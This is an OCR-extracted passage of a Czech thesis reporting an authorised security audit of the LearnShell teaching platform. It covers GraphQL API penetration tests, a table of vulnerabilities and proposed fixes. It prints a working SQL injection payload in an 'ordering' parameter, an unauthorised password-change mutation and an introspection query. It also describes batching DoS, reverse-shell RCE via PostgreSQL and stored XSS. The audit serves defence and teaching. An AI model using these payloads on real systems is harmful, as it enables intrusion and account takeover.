Napsal jsem skript v jazyce Python, ktery vytvori request ve kterém bude velké mnozstvi
dotazii a nasledné ho odesle na GraphQL endpoint. To zptusobi DoS na 30 vtefin, opét bylo
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B Obrazek 4.31 Oznamen{ prekroc¢eni maximélni hloubky rekurze

"errors":
{
"message"”: "maximum recursion depth exceeded while calling a Python object"
]

B Obrazek 4.32 DoS kvuli dotazu SubmissionList

i "<html>\r\n<head><title>502 Bad Gateway</title></head>\r\n<body>
SubmissionList{ \r\n<center><hl>502 Bad Gateway</hl></center>\r\n<hr><center>nginx
results{ /1.19.3</center>\r\n</body>\r\n</html>\r\n"

submissionSchema
}
¥
1

ovéfeno pokusem o pripojeni z jiné vefejné IP adresy. Uvedeny skript je vidét na obrazku
Uvedené DoS utoky byly mozné, jelikoz nejsou nastaveny spravné limity. Pro prvni DoS ttok

to je nenastaveni limitu pro pocet zanoreni dotazu, ktery by nevycerpal vSechny zdroje serveru.

Druhy DoS je umoznén, protoze neni nastaven limit na pocet dotazui v jednom pozadavku.

4.4.5 API5:2019 — Broken function level authorization

Pristup uzivatele s pravy studenta k administratorskym funkcim jsem pfi testovani nenalezl.

Nalezl jsem nekontrolovani ptistupu k funkcim v rdmci skupiny uZivateld s pravy adminis-
trator. Tedy administrator ,, A“ nemé povoleny pristup k funkci zobrazeni vSech uzivatelskych
ucétu. Tato funkce neni dostupnd v Django administraci, ale skrze API dostupna je.

Tento problém byl nalezen tak, Ze jsem si vytvoril uzivatele s pravy administratora (s uziv.
jménem PenTestStaff) a povolil mu pfistup jenom vytvareni zkousek. Po pfihlaseni takového uzi-
vatele do administrace je z obrézkuw vidét, Ze ma povoleno pouze vytvareni zkousek. Za uzi-
vatele PenTestStaff jsem se prihldsil do aplikace LearnShell a skrze stranku s adresou https:
//learnshell.fit.cvut.cz/assignments jsem si chtél zobrazit zadéni tloh. Zadné tlohy se
nezobrazili a to je ocekdvané chovani. Zde tedy problém neni a kontrola je nastavena spravneé.

B Obrazek 4.33 Skript pro batching attack
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B Obrazek 4.34 Django administrace po ptihlaSeni PenTestStaff

<> C o © | & https://learnshell fit.cvut.cz/admin/

o administration

Site administration

EXAM .
Recent actions
Exams + Add
My actions

None available

B Obrazek 4.35 Dotaz na zobrazeni zadani tloh skrze GraphQL API

¥ {
1{ v "data": {
UserMyself { v "UserMyself": {
username "username": "PenTestStaff",
id "id": 895,
isSuperuser "isSuperuser": false,
isstaff "isStaff": true
¥ I
AssignmentlList { v "AssignmentList": {
results { v "results": [
name v {
description "name": "[OLD] @06 - fadky ze souboru",
correctionData "description”: "V proménné "FILE' se nachdzi cesta k souboru. V proménny:
} \nPfiklad: "BEGIN = 10" a "COUNT = 3°. Ze souboru vypisete fadky 18, 11 a 12.\n\nJ
} "correctionData": "{\"solution\": \"IyBTTOXVVELPTgpOYWlsICluICskQkVHSU4g:
\"RmlsZSB7CiAgbmFtZSA9IFsxMCwgTEIXRVIFQVNDSULdCiAgY29udGYudCAIIFsOMDo1MCwgWzEEMzAS.
} GUgewogIG5hbWUgPSALIQkVHSU41iCiAgdmFsdWUgPSAx0jELCNBKC1ZhemlhYmx1IHSKICBUYW11ID@gIkZ.

Ale pokud jako tento uzivatel upravim request pro zobrazeni vsech zaddni a poslu na GraphQL
API endpoint, tak se zadani tloh zobrazi v response. Ukéazka toho je na obrazku . Pro ukézéni,
Ze se opravdu jednd o dotaz uzivatele PenTestStaff je priddn dotaz (UserMyself), ktery vypiSe
pozadované informace o uzivateli. Vypis tloh je zkracen.

Naésledné jsem vyzkousel zménit heslo uzivateli s pravy superuser. K tomu by uzivatel Pen-
TestStaff nemél mit prava. Nejprve jsem si tedy zobrazil vSechny uzivatele a vybral jednoho
s hodnotou isSupeuser nastavenou na true. Potom jsem poslal mutation, kterd tomuto uzivateli
zméni heslo na ,, HesloZmenenoNeopravnene“. Zména hesla je na obrazku . Z tohoto obrazku
je ziejmé, ze zména hesla probéhla tspésné. Pokud by neprobéhla, pak by se vypsala chybova
hlaska ,, You must be an admin to do this. OR You must be yourself to do this“.

Po tomto kroku jsem se mohl jako uzivatel ,, khuntpav“ prihlasit do administrace se zménénym
heslem. V Django administraci jsou mozné dalsi ikony, které nejsou dostupné pies GraphQL API.

Stejny postup vyzkousen i pro uzivatele s pravy student. Zde se kontrola provadi spravné
a jako uzivatel student nebyl mozny pristup k administratorskym funkcim.

4.4.6 API6:2019 Mass Assignment

Pro tento bod jsem nenalezl Zidnou bezpecnostni chybu. ZkousSel jsem do odesilanych dotazi
priddvat argumenty, pro ziskdni/zménu objektu. Napiiklad pii vytvareni uzivatele jsem zkusil
pridat argument ,,isStaff na hodnotu ,,true“. Na rtzné pokusy byla odpovéd serveru vzdy error
zprava ohledné nevalidniho dotazu.
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B Obrazek 4.36 Neopravnénd zména hesla uzivateli s pravy superuser

mutation {
1 "data": {
UserSetPassword(data: {id: 892, password: "HesloZmenencMeopravnene"}) "UserSetPassword”: {
{ "object": {
object{ "id": 892,
id "isSuperuser™: true,
isSuperuser "username": "khuntpav"
username }
1 1
} }

H I3

B Obrazek 4.37 Introspection query

19

20

21 {

22 "query":"{__schema{queryType{name}mutationType{name}subscriptionType{namettypes{. . FullTypeldirectives
{name description locations argsi...InputValue}}}}fragment FullType on __Type{kind name descriptien
fieldsiincludeDeprecated:true){name description args{...InputValuettype{...TypeRef}isDeprecated
deprecationReasontinputFields{...InputValuetinterfaces{. . TypeReflenumValuesiincludebeprecated:truel{n
ame description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on
__Inputvalue{name description type{...TypeRef}defaultValue}fragment TypeRef on __ Type{kind name
ofTypeikind name ofType{kind name ofType{kind name ofTypef{kind name ofType{kind name ofTypefkind name
orType{kind name}}}+r}ir"

23}

4.4.7 API7:2019 Security Misconfiguration

Ve vychozim nastaveni vétsina implementaci GraphQL pouziva vychozi konfigurace, které jsou
nebezpecné a mély by byt zménény. Mnoho implementaci GraphQL ma ve vychozim nastaveni
povoleno Introspection a GraphiQL a nechévaji je pristupné bez nutnosti autentizace.

GraphiQL je IDE pro IDE pro GraphQL, lze v ném vytvaret, testovat dotazy a také je skrze
néj pristup k dokumentaci, kterd se generuje na zékladé Introspection (introspekce).

GraphQL Introspection je vlastnost, kterd povoluje dotazovani na to, které zdroje jsou v API
schématu k dispozici. Diky introspekci lze ziskat podporované dotazy, typy, pole a direktivy.

Po pristupu na adresu https://learnshell.fit.cvut.cz/graphql/ bylo nalezeno Gra-
phiQL. GraphiQL dle [24] nemé byt pouzivano na produkci, ale pouze pii testovani a vyvoji.
Pristup k tomuto IDE mé kazdy, kdo danou adresu navstivi. Tedy kazdy méa pristupnou doku-
mentaci a mize vytvaret a testovat dotazy. Pripadnému uto¢nikovi dostupnost tohoto IDE muze
ulehéit porozuméni schématu API a pomoci pri tvorbé dotazu pro zneuziti aplikace.

Pokud se vypne jen GraphiQL a introspekce se necha zapnuta, lze pomoci introspekce také
ziskat dostupné dotazy a schéma API. Postup, jak by tto¢nik mohl zneuzit zapnuté introspekce
je uveden nize.

Nasel jsem si dotaz, na ktery je vraceno schéma API a dostupné dotazy (query, mutation
a subscription) Potom jsem tento dotaz vlozil do téla request, ktery jsem poslal na GraphQL
endpoint. Télo poslaného request je vidét na obrazku . Na tento request jsem obdrzel odpo-
véd, kde bylo vypsané schéma a dostupné query/mutation/subscription atp. Zkrdcend odpovéd
je na obrazku @

V odpovédi jsou data ve formatu JSON, pro vizualizaci lze pouzit online nastroj GraphQL
Voyager. Do tohoto nastroje staci zadat data z odpovédi a nastroj vizualizuje schéma API. Cést
vizualizovaného schématu je ukazano na obrazku @

I pokud bude introspekce vypnuta, tak stale mize utocénik jednotlivé dotazy hadat pomoci
brute force. GraphQL ma built-in vlastnost, kterd vraci zpatky napovédu, pokud hadané jméno
dotazu ¢i policka je podobné tomu existujicimu. Ukéazka toho je na obrazku §.40.

Postupnym hadanim se uto¢nik muze dostat az k sestaveni kompletniho validniho dotazu.


https://learnshell.fit.cvut.cz/graphql/
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B Obrazek 4.38 Odpovéd na introspection query

16 Content-Length: 275794
17
18 {
"data":{
*__schema":{
"queryType":{
"name" :"Ouery"
"mutationType":{
"name":"Mutation”

T,
"subscriptionType":null,
"types":|

i

“kind": "OBJECT",

"name": "Ouery",

"description”:null,

"fields":[

i

"name": "StudentWritesExamList",
"description":"StudentWritesExam list",
vargs":[

B Obrazek 4.39 Cést vizualizovaného schématu pomoci GraphQL Voyager

EludeniVirie=sExamLis|
EludeniViriesExamDelal
ArgipnmeniExamTemplaelist A
AssignmenExamTemplaieDetal A5z
Examlisi

ExamDezial -
ExamTemplxiaList 7
ExamTamphkyieDetall - il
o |mesulls [ExamT
EubmissionLis! I
toaiCount Int
EubmizzionDelal

B Obrazek 4.40 Detailni error zpréva

Accept-Language: en-US,en:g=0.9 "errors":[
Cookie: csrftoken=dDdwgrByHHIy InAOHEynj B4zvmxwlxwhnNgCSky 0IPvLnt {
"message”:"Cannot query field \"User\" on type \"Query\". Did you mean \"UserList\"
"locations":[
"query":"{ User {username}}" i
"line":1,
"column":3
¥
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B Obrazek 4.41 Parametr ordering nevalidni hodnota

i v {
StudentWritesExamList{ v "errors": [
results(ordering: "nonsense"}{ v {
id "message": "Cannot resolve keyword 'nonsense’ into field. Choices are:
¥ assigmnents_of student in exam, exam, exam id, id, student, student id, time adjustment",
1 v "locations": [

] t

B Obrazek 4.42 Zranitelny parametr ordering na SQL injection

{ v {
StudentWritesExamList{ v "errors": [
results(ordering: "id."){ {
id "message”: "syntax error at or near \")\"\nLINE 1: ...udent_id\" FROM
3 \"exam studentwritesexam\" ORDER BY (\"id\".) ASC\n
} M\
} }

4.4.8 API8:2019 — Injection

P1i testovani jsem zkousel SQL injection na parametry pro query a mutation. Pfi tomto testovani
byla objevena SQL injection v parametru ,,ordering*.

Nejprve jsem zadal do parametru ,,ordering* néjaké slovo, které pravdépodobné nebude va-
lidni hodnota naptiklad ..nonsense. Vypsala se error zprava, z které jsem zjistil mozné hodnoty.
Lze vidét na obrazku

Z téchto moznych hodnot jsem vybral ,,id* a priddvanim ruznych interpunkénich znamének
jsem se snazil zjistit, jestli je parametr zranitelny na SQL injection. Uspésny pokus, z kterého
bylo zjisténo, ze testovany parametr je zranitelny se nachazi na obrazku . dale jsem vidél, ze
se pouziva klausule FROM na tabulku exam_ studentwritesexam, tuto informaci jsem néasledné
vyuzil pfi sestavovani SQL injection.

Po nékolika pokusech jsem vytvoril GraphQL dotaz, ktery je vidét na obrazku . V pa-
rametru ,ordering® je vlozena SQL injection. SQL dotaz mé za tikol vypsat vSechny existujici
tabulky v databézi. Pro provedeni SQL dotazu bylo treba ukonéit zavorku pro argument klausule
ORDER BY, ukon¢it prikaz pomoci stiedniku, poté zadat SQL dotaz a za néj zadat dvé pomlcky
pro zakomentovani zbytku puvodniho dotazu.

Odpoved serveru je ukazana na obrazku , z kterého je vidét, ze se SQL dotaz provedl
a vypsali se existujici tabulky z databaze.

Timto bylo dokazano, ze se provede zadany SQL dotaz a tedy parametr ,,ordering“ je zrani-
telny na SQL injection.

4.4.9 API9:2019 Improper Assets Management

V této fazi testovani jsem hledal, zdali se neni dostupnd verze API, kterd je uréena pro testovani
a neni tedy zabezpecena jako produkéni verze. Pripadné starsi verze API.

B Obrazek 4.43 GraphQL dotaz s SQL injetion

i
StudentWritesExamList{
results(ordering: "exam studentwritesexam.id);select * from information schema.tables--"){
id
}
1

k
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B Obrazek 4.44 Odpovéd na GraphQL dotaz s SQL injection

1
"message”: "Field 'id' expected a number but got 'pg_type'."
"locations": [
"Line": 4,
"column": 7
}
1,
"path": [
'StudentWritesExamList",
'results"”,
1,
'id"
]
}J
{
"message”: "Field 'id' expected a number but got "exam exam'.",
"locations": [
{
"line": 4,

TP

Po prizkumu mozny API endpoint pro GraphQL nebyl nalezen jiny nez produkéni. Pro tento
bod jsem nenalezl zadnou zranitelnost ¢i bezpecnostni pochybeni.

4.4.10 API10:2019 Insufficient Logging & Monitoring

Tento bod ma stejné vyhodnoceni jako bylo zminéno v |A10:2017 — Insufficient Logging & Moni-l
oring|.

4.4.11 Shrnuti vysledkt penetracniho testu

Penetrac¢ni test GraphQL API byl vykonéan s vyuzitim metodologie OWASP API Security Top
10. Nalezend zranitelnost SQL injection umoznuje skrze poslani request na GraphQL endpoint
provedeni SQL pfikazu/dotazu v databézi PostgreSQL.

V GraphQL API nejsou nastaveny limity na pocet dotazti v jednom request, a ani pro hloubku
vnotrenych dotazi. Nenastaveni téchto limita vede k DoS. Pro zneuziti nenastaveného maximél-
niho poctu dotazii v jednom request neni potreba zadna autorizace ani autentizace. Pro zneuziti
vnorenych dotazii je potfeba uzivatelsky ucet alespon s pravy student.

Bylo nalezeno, ze pri nastavovani hesla pres API nejsou vyzadovany zadné vlastnosti hesla,
a ani neni potfeba zadavat puvodni heslo. Uzivatel s pravy administrator, ktery nema nastaven
pristup ke vSem funkcionalitdm, mizZe neopravnéné tyto funkcionality skrze API zneuzivat a to
vede k eskalaci privilegii.

Pouzivani vychozi konfigurace umoznuje pristup neopravnénym osobam k GraphiQL, a také
ziskdni schématu celého API pomoci introspekce, kterd je povolena. V tabulce @ se nachazi
seznam nalezenych zranitelnosti.
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B Tabulka 4.3 Shrnut{ nalezenych zranitelnost{ — test GraphQL API

Nézev zranitelnosti / CVE / CWE Kategorie | Zavaznost
SQL injection v parametru ordering API8:2019 | high
Nenastaven limit na pocet dotazi v jednom pozadavku (DoS) | API4:2019 | high
Nenastaven limit pro hloubku vnofenych dotazi (DoS) API4:2019 | medium
Slabé pozadavky na heslo (CWE-521) APIQ:ZOI% medium
Neopravnény pristup k funkcionalitdm API5:201 medium
Piistupné GraphiQL API?:?OI% medium
Povolena introspekce API7:2019 | medium
Neopravnéné uziti dotazu API2:2019 | low
Detailni error zpravy API7:2019 | low




Kapitola 5

Prioritizace zranitelnosti a navrh
zakladnich oprav

V této kapitole je uveden souhrn nalezenych zranitelnosti ze vsech provedenych testi. Pro
zranitelnosti se strednim a vyssim stupnem zdvaznosti jsou navrhnuty zdkladni opravy.

Souhrn vsech nalezenych zranitelnosti je uveden v tabulce @ Dale bude pro zranitelnosti
se stfednim ¢i vysSim stupném zavaznosti navrhnuta zdkladni oprava. Nékteré zranitelnosti jsou
kratce popsany, jelikoz vyzaduji strucné shrnuti.

Hodnoceni zavaznosti je zalozeno na CVSS v3.1. Pro vypocet zavaznosti pro kazdou nalezenou
zranitelnost bylo vyuzito [49].

Casto pouzivané piihlasovaci iidaje pro root — PostgreSQL

Zde bylo pochybeni v nastaveni prihlasovacich udaju do databaze. Byly nastaveny bézné pou-
zivané udaje, které se vyskytuji ve slovnicich pro utoky brute force. Navic tyto udaje byly pro
uzivatele s pravy superuser/root.

Zakladni navrh opravy je nepouzivat zaddné bézné prihlasovaci tdaje a ridit se doporucenimi
organizace NIST pro zvoleni hesla.

Nenastavené heslo pro root — Redis

Databaze Redis pouziva vychozi konfiguraci, ve které neni nastaveno heslo ani prihlasovaci jméno
pro uzivatele s pravy root. Ptihlasit se lze miize kazdy student/zaméstnanec FIT CVUT pouze
se znalosti IP adresy a portu.

Pro opravu je vyzadovano nastaveni uzivatelského jména a bezpecného hesla.

Stored XSS v parametrech script a name

Tato zranitelnost je zpusobena kombinaci nekontrolovanim uZzivatelského vstupu a pouzivanim
komponenty, kterd obsahuje tento typ zranitelnosti. Skodlivy skript se spousti v Django ad-
ministraci v dasledku pouzivani django-json-widget verze 1.0.1, ktery pouziva django-jsonfield
package. Verze pouzivaného balicku django-jsonfield je zranitelnd vici XSS.

Zakladni oprava je tedy pouzivat novéjsi verzi django-json-widget, napiiklad django-json-
widget verze 1.1.1.
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B Tabulka 5.1 Shrnuti nalezenych zranitelnosti pro vSechny provedené testy

Nézev zranitelnosti / CVE / CWE Kategorie Zavaznost

Casto pouzivané prihlasovaci idaje pro root — |!0.38.5.90:543g critical

PostgreSQL

Nenastavené heslo pro root — Redis 10.38.5.90:6379 critical

Stored XSS v parametrech script a name AT7:2017 critical

Server Side Template Injection — Jinja2 A9:2017 critical

(CVE-2019-8341)

Libovolné spousténi SQL funkci 10.38.5.90:5432 high

(CVE-2020-25695)

PostgreSQL RCE (CVE-2019-9193) 0.38.5.90:543% high

HTTP Header Injection — Django 9:2017 high

(CVE-2021-32052)

SQL injection v parametru ordering API8:2019 high

Nenastaven limit na pocet dotazit v jednom | |API4:2019 high

poZzadavku (DoS)

Neopravnény pristup k sloupcim tabulky 10.38.5.90:5432 medium

(CVE-2021-20229) _

Nepouzivani Firewall 10.38.5.90: Viechny| | medium

ortyl )

Pouzivani hash algoritmu MD5 pro hesla 0.38.5.90:543 medium

(CWE-916) — PostgreSQL

Nepouzivani Sifrované komunikace — Postgre- | [10.38.5.90:5432 medium

SQL

Nepouzivani sifrované komunikace — Redis %0.38.5.90:637% medium

Pouzivani HTTP serveru ur¢eného pro vyvoj 0.38.5.90:500 medium

ReDoS — Jinja2 (CVE-2020-28493) A9:2017 medium

Directory Traversal — Django 9:201 medium

(CVE-2021-3281)

Web Cache Poisoning — Django 9:201 medium

(CVE-2021-23336)

Slabé pozadavky na heslo (CWE-521) A2:2017 medium

Ulozeni hesla v plain text A2:2017 medium

Nenastaven limit pro hloubku vnofenych do- | [API4:2019 medium

tazi (DoS)

Slabé pozadavky na heslo (CWE-521) API2:201 medium

Neopravnény pristup k funkcionalitim API5:2019 medium

Pristupné GraphiQL API7:2019 medium

Povolena introspekce API7:2019 medium

Nenastavovani HTTP hlavicek ‘10.38.5.90:811, low
110.38.5.90:500

HTTP Server header vystavuje verzi serveru | [L0.38.5.90:80. low
10.38.5.90:5000,
110.38.5.90:800

Vysoka hodnota Max-Age pro session ID A2:2011 low

Spatné pouziti CSRF tokenu A2:2017 low

Nenastavena X-Frame Options header A3:2017 low

Duplikace Strict-Transport-Security header A6:2017 low

Neopravnéné uziti dotazu API2:2019 low

Detailni error zpravy API7:2019 low




Jinja2 verze se znAmymi zranitelnostmi

Znamé zranitelnosti pro pouzivanou verzi Jinja2 jsou Server Side Template Injection (CVE-
2019-8341) a ReDoS (CVE-2020-28493). Tyto zranitelnosti se tykaji funkcionalit, které nejsou
pouzity, ale i pfesto by neméla byt pouzivina komponenta se zndmymi zranitelnostmi.

Zakladni opravou je pouzit novéjsi verzi Jinja2 aspon 2.11.3 nebo vyssi.

PostgreSQL verze se znAmymi zranitelnostmi

Zranitelnosti CVE-2020-25695 a CVE-2021-20229 v souc¢asném nastaveni uzivatelskych ac¢tt ne-
méli vliv, jelikoz je zde jen jeden uzivatel a to s pravy root. Tyto zranitelnosti vyuzivaji chyb,
které by pak mohl uzivatel, ktery nemé préva root/superuser zneuzit k spusténi néjakého dotazu
pod uzivatelem root. Je vSak tfeba pocitat s moznym rozsifenim, kdy se dalsi uzivatel vytvori.
Pak by tyto zranitelnosti mohly mit dopad.

Pro prvni dvé zminéné je doporuceno prejit na novejsi verzi PostgreSQL, naptiklad verze
9.6.21.

Zneuziti zranitelnosti CVE-2019-9193 bylo mozné jen diky zjisténi prihlasovacich udaju do
databaze. Bez znalosti prihlasovacich tdaj uzivatele s pravy superuser nebo uzivatele pattici do
skupiny ,,pg_ execute_server_program“ neni mozna.

Zékladni oprava pro CVE-2019-9193 je nepouzivani vychozich hesel, protoze zneuziti zranitel-
nosti CVE-2019-9193 vyuziva ,, COPY TO/FROM PROGRAM¢ funkcionality, ktera je pfistupna
pouze po prihlaseni uzivateld s vySe zminénymi pravy. Vyvojari PostgreSQL nepovazuji CVE-
2019-9193 jako zranitelnost. Proto je funkcionalita ,, COPY TO/FROM PROGRAM* ve vSech
dostupnych verzich.

Django verze se znAmymi zranitelnostmi

V aplikaci je pouzivana verze Django se znamymi zranitelnostmi, konkrétné verze 3.1.1. Tyto zra-
nitelnosti jsou HTTP Header Injection (CVE-2021-32052) — zavaznost: high, Directory Traversal
(CVE-2021-3281) — zévaznost: medium, Web Cache Poisoning CVE-2021-23336) — zavaznost:
medium.

Doporuceni na opravu je pouzivat Django verze 3.1.10 nebo vyssi.

SQL injection v parametru ordering

Byla nalezena SQL injection vyskytujici se v parametru ordering, ktery slouzi pro razeni vy-
sledk dotazu. Jedna se tedy o parametr pro pole results. Tato SQL injection byla nalezena diky
testovani API. Tento parametr nesel zménit / nebyl k nému pristup skrze uzivatelské rozhrani,
a proto v API neni implementovana kontrola uzivatelského vstupu.

Zde je tedy mozny uzivatelsky vstup pro parametr, ktery se pouzivd k odliSovadni nazva
tabulek a sloupct. Zakladni opravou je, ze by se uzivatelsky vstup mél mapovat na povolené
nazvy tabulek nebo sloupct, aby se zajistilo, Ze nevalidn{ vstup nezpisobi SQL injection. [50]

Nenastaven limit na pocet dotazti v jednom pozadavku (DoS)

GraphQL umoznuje tzv. ,,query batching”, ktery dovoluje zahrnout vice dotazi do jednoho
request a ten nésledné poslat na GraphQL endpoint. Pokud neni nastaven limit na pocet do-
tazil v jednom request, tak ttocnik muze zaslat libovolné mnozstvi dotazi v jednom request.
Nenastaveni limitu na pocet dotazi v jednom pozadavku zneuziva utok zvany batching attack.

Zabranéni tomuto ttoku lze pridanim omezeni na dotazované objekty v request. Na trovni
zdrojového kédu vytvorit limit, kolik objekt muze volajici pozadovat v jednom request. Pro za-
branéni DoS se doporucuje implementovat ,, batching and caching technique* na strané serveru.
Pro tento ucel muze byt pouzit Facebook’s DataLoader. Dalsim doporucenim je pridat stranko-
vani, aby se omezilo mnozstvi dat, které lze vratit v jedné odpovédi. Posledni ndvrh je: pridat
primérené Casové limity na aplika¢ni vrstve.
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Nepouzivani firewall

Z provedenych skenovani IP adresy 10.38.5.90 bylo zjiSténo, ze neni pouzit firewall. Toto bylo
urceno na zakladé porovnani skenoviani TCP ACK scan a TCP SYN scan. Pravé TCP ACK scan
se pouziva na mapovani pravidel brany firewall.

Zakladni oprava je pouzivat branu firewall, pro operacni systémy zaloZené na Linux je mozné
pouzit nftables (postupné nahrazuji iptables). Dalsi moznosti je ModSecurity WAF od NGINX.

Dalsi zakladni opravou, kterd by méla byt dodrzena je, ze komunikace back end s databazi
PostgreSQL probihala pouze na localhost. Databaze by tedy neméla byt dostupna ze sité. To
stejné plati i pro Redis, také by nemél byt dostupny ze sité. Timto by se vyfesily i problémy
s nastavenim slabych hesel pro uzivatele s pravy root/superuser a nepouzivanim sifrované komu-
nikace.

Pouzivani hash algoritmu MD5 pro hesla (CWE-916) — PostgreSQL

Uzivatelska hesla pro ucty s pristupem do databaze jsou hesovina pomoci algoritmu MD5, ktery
neni povazovan za bezpecny, protoze v ném existuje velké mnozstvi kolizi.
Oprava je nastavit bezpecnéjsi hash funkci skrze modul pgerypto.

Nepouzivani sifrované komunikace — PostgreSQL

Databazovy server pii komunikaci s klientem nevynucuje sifrovanou komunikaci.
Zakladni opravou je nastaveni ssl parametru v postgresql.conf.

Nepouzivani Sifrované komunikace — Redis

Databéazovy server nevynucuje Sifrovanou komunikaci s klientem. Opét v dtsledku ponechani
vychoziho nastaveni.

Redis od verze 6 podporuje SSL/TLS, ale je potfeba tuto vlastnost nastavit v case kom-
pilace. K sestaveni je potreba knihovna OpenSSL a nasledné Redis sestavit pomoci prikazu
Run make BUILD_TLS=yes.

Pouzivani HTTP server urceného pro vyvoj

PS1-Generator je Flask aplikace a Flask ve vychozim nastaveni pouziva built-in server urceny
pro vyvoj. Tento server je zprostfedkovan knihovnou Werkzeug. Takovy server neni uréen na
produkci a dle [@] by mél byt pouzit produkéni WSGI server.

Resenim je pouziti WSGI serveru uréeného na produkei, napiiklad Waitress nebo Gunicorn.
Gunicorn je v aplikaci jiz pouzivan pro jinou komponentu.

Slabé pozadavky na heslo (CWE-521)

Toto pochybeni bylo objeveno béhem testovani webové stranky i béhem testovani GraphQL API.
Pri nastavovani hesla skrze aplikaci neni vyzadovano predchozi heslo ani nejsou vyzadovany zadné
vlastnosti nastavovaného hesla.

P1i nastavovani hesla zaslanim mutation na GraphQL API endpoint se vyskytuji stejné ne-
dostatky jako jiz zminéné.

Pro opravu této zranitelnosti je treba striktné nastavit pravidla pro pozadované vlastnosti
hesla a pri nastavovani vyzadovat predchozi heslo. Pravidla pro vlastnosti bezpecného hesla lze
nalézt v dokumentech od organizace NIST.

Ulozeni hesla v plain text

V Django administraci lze vytvorit uzivatele a nastavit mu heslo, takové heslo se ulozi v plain
textu.

Zakladni oprava je pro takto vytvarené uzivatele pouzivat pro uloZeni hesla do databaze
bezpecny hash algoritmus.
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Nenastaven limit pro hloubku vnorenych dotazi (DoS)

V dusledku nenastaveni limitu pro hloubku vnofenych dotazti je mozné zpusobit DoS.
Pro zamezeni DoS by mél byt nastaven limit pro hloubku vnorenych dotazi. Dalsi opravy
pro zamezeni DoS jsou jiz popsany v ,,Nenastaven limit na pocet dotazi v jednom pozadavku®.

Neopravnény pristup k funkcionalitam

UZivatel s pravy administratora méa skrze API volani pristup k funkcionalitdm jako uzivatel
S pravy superuser.

Zakladni oprava je kontrolovani povolenych akci pro daného uzivatele s pravy administrator.
Nelze se 1idit pouze rozliSovanim na zékladé skupin uzivatelt s pravy administrator (hodnota
isStaff je true) a student (hodnota isStaff je false), protoze takto se nekontroluji povolené akce
pro administratory s pravy superuser a bez nich.

Pristupné GraphiQL

GraphiQL je urceno vyhradné pro vyvoj a testovani a nemélo by byt zapnuto na produkci.
Utoc¢nik diky pristupu k tomuto IDE muze ziskat pristup k dokumentaci.
Nejbezpecnéjsim a obvykle nejjednodussim pristupem je deaktivace GraphiQL na produkci.

Povolena introspekce

Introspekce poskytuje informace ohledné toho, které dotazy GraphQL API podporuje. Pokud je
povolena a pristup k introspekci neni limitovan na zdkladé nastavenych prav, tak muze poskyt-
nout utoc¢nikovi stejné dilezité informace jako dokumentace.

Névrh opravy spoc¢iva v limitovani pristupu k vykonani dotazi introspekce. Pokud neni vy-
zadovéna zadnymi nédstroji/dotazy, které by jinak selhaly, 1ze introspekei tiplné vypnout.






Kapitola 6

Zaver

Cilem této prace bylo prozkoumat metodiky auditu informacni bezpecnosti, a na jejich zakladé
provést bezpec¢nostni audit platformy LearnShell.

Jako zaklad teoretické ¢asti bylo nutné seznamit se s metodologiemi zaméfujicimi se na pe-
netracni testovani. V této casti byly popsany predevsim metodiky, které se vénuji testovani
zranitelnosti webovych aplikaci. Detailnéji byly tedy probrany a vysvétleny dokumenty OWASP
Top Ten a OWASP API Security Project. Za pomoci ziskanych znalosti jsem nésledné provadél
bezpecnostni audit LearnShell. Samotné provedeni auditu jsem popsal v kapitolach spadajicich
do praktické c¢asti prace.

Na zacatku provadéni praktické ¢asti bylo dulezité si nastudovat fungovani aplikace Learn-
Shell, jeji architektury, a s tim spojenych pouZitych technologii (GraphQL API, Django, Post-
greSQL a dalsi). Déle jsem prozkoumal obvyklé bezpecnostni problémy, se kterymi se zminéné
technologie potykaji. V navaznosti na to jsem urcil mozné vektory ttoku. Pro tyto vektory jsem
prozkoumal bezpecnostni zranitelnosti.

Pro nasledné provedeni bezpecnostniho auditu bylo potfeba prozkoumat rtzné techniky pe-
netrac¢niho testovani a nastroje pri ném vyuzivanych. Jednalo se napriklad o nastroje Metasploit,
Nmap a Nikto. Déle bylo pro tcely testovani zapotfebi si zprovoznit aplikaci lokalné.

Vykonanym bezpec¢nostnim auditem se podatilo nalézt mnoho zranitelnosti. Pro ty s vyssim
a strednim stupném zavaznosti hrozi, ze by pripadné zneuziti itoénikem mélo vazny bezpecnostni
dopad pro LearnShell, a pripadné i na hodnoceni v predmeétech, které aplikaci vyuzivaji. Jedna
z téchto zranitelnosti se tyka databaze PostgreSQL, do které bylo mozné ziskat pristup pomoci
utoku hrubou silou, presnéji slovnikovym ttokem. Diky ziskanym prihlasovacim tdajim do da-
tabaze a vlastnostem PostgreSQL dotaz bylo mozné zridit RCE. Na zdkladé toho jsem mohl
ziskat reverse shell a spoustét tak piikazy na stroji, kde bézi tato databaze. Uvedend zranitelnost
byla nalezena pfi testovani infrastruktury, tedy jednotlivych ¢asti, ze kterych je aplikace slozena.

Dalsi zavaznou zranitelnosti, tentokrat tykajici se primo webu, ktera stoji za pripomenuti, je
Cross-site scripting, konkrétné typ Stored XSS. Tato zranitelnost umoznila odesldni, a nasledné
spusténi JavaScript kédu. Student pfi odesilan{ vypracovaného testu/tikolu mohl upravit télo
odesilaného dotazu a vlozit skodlivy kod v jazyce JavaScript. Tento kéd se nasledné ulozil jako
feSeni testu pro daného studenta do databaze. Pokud se uzivatel s pristupem do administrace
(cvicici/prednésejici) na odevzdani podival, ulozeny kéd se mu spustil.

Velky podil na vzniku zranitelnosti ma chybna konfigurace a pouzivani komponent, které
maji zndmé zranitelnosti. Pravé kvili spatné konfiguraci GraphQL API bylo mozné naptiklad
zobrazit celé GraphQL schéma a seznam dostupnych volani pro API, ¢ dokonce zptisobit DoS.

Vysledky testovani poukéazaly na to, ze aplikace obsahuje zavazné zranitelnosti, a je nutna
jejich naprava. Bez oprav by mohlo totiz dojit k jejich zneuziti tto¢nikem. Z tohoto divodu byly

s v

do zavéru praktické Casti sepsdny mozné napravy a doporuceni pro tyto zranitelnosti.
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ponent a komplexita aplikace vyrazné vyssi, nez se predpoklada

Kapitola 6. Zavér

byl identifikovany pocet kom-
o pri tvorbé zadani. Z tohoto

divodu byly na zakladé konzultace s vedoucim prace vybrany k testovani pouze nékteré vektory
utoku. V navaznosti na tuto praci by se tedy mohl provést penetracéni test zbyvajicich vektora

utoku.
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